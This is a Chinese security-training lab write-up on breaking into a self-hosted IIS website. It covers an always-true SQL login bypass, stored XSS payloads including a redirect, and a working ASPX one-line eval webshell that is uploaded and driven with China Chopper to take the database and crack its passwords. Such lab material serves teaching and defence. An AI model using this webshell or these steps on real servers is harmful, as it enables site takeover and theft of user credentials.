信息安全实训——1.1

实训1-利用Web漏洞入侵网站并控制服务器

环境准备:在windows上部署一个IIS web服务

        一、打开web服务

1、控制面板——程序——程序与功能——启用或关闭Windows功能

2、将这四个框全勾上(注:若显示为黑框则代表未全勾上)

        二、部署一个IIS web服务

1、此电脑右击——管理——服务和应用程序——Internet Information Services(IIS)管理器

新建一个网站(可将原网站删除或者停掉)

应用程序池默认

ip地址为本机地址

将对应的物理地址添加进来

2、应用程序池——DefaultAppPool ——高级设置:将启用32位应用程序设置为True

3、服务——ASP.NET state Service 启动

扫描工具

局域网探查工具LanSee
端口扫描工具AdvancedPortScanner

网站后台扫描工具御剑

网站漏洞扫描工具AWVS

实验内容

网站后台绕过

1、猜测网站的后台管理地址或使用御剑孤独后台扫描工具暴力搜索进入后台登录界面。

2、尝试使用弱密码登录系统,观察登陆界面给出的反馈。

3、输入一些特殊字符,如‘’/+-=等,点击登录,观察系统反馈。

4、根据登录界面给出的反馈构造永真的SQL语句绕过登录界面。

5、进入网站后台管理界面。

篡改页面内容

1、在网站前台或后台中寻找能够提交信息的合适位置。

2、提交代码<script>alert("test")</script>,使用另外的主机访问此网站,观察效果。

3、提交代码(代码中的网址可更改):

<script>window.location.href="http://d.mytanwan.com"</script>,观察效果。

一句话木马的使用

1、新建文本文档,将文件后缀修改为aspx,书写内容如下:

<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

2、在系统中寻找文件上传点。

3、上传之前创建的aspx一句话木马文件。

4、设法获得上传文件在网站目录中的文件名称和路径。

5、利用中国菜刀工具连接一句话木马(密码为pass)。

6、获得目标服务器的操作权限并拿到数据库文件。

7、对数据库中的账号密码进行解密。

实验总结

1、端口扫描的目的是什么?

端口扫描可以帮助用户发现目标主机所开放的端口,进而了解主机上运行了哪些服务。

2、漏洞扫描的目的是什么?

漏洞扫描的目的是识别计算机网络或应用系统中存在的安全漏洞,以便及时采取措施进行修复,从而增强系统的安全性。

3、Webshell是什么?

Webshell是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,它主要用于网站管理、服务器管理、权限管理等操作。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值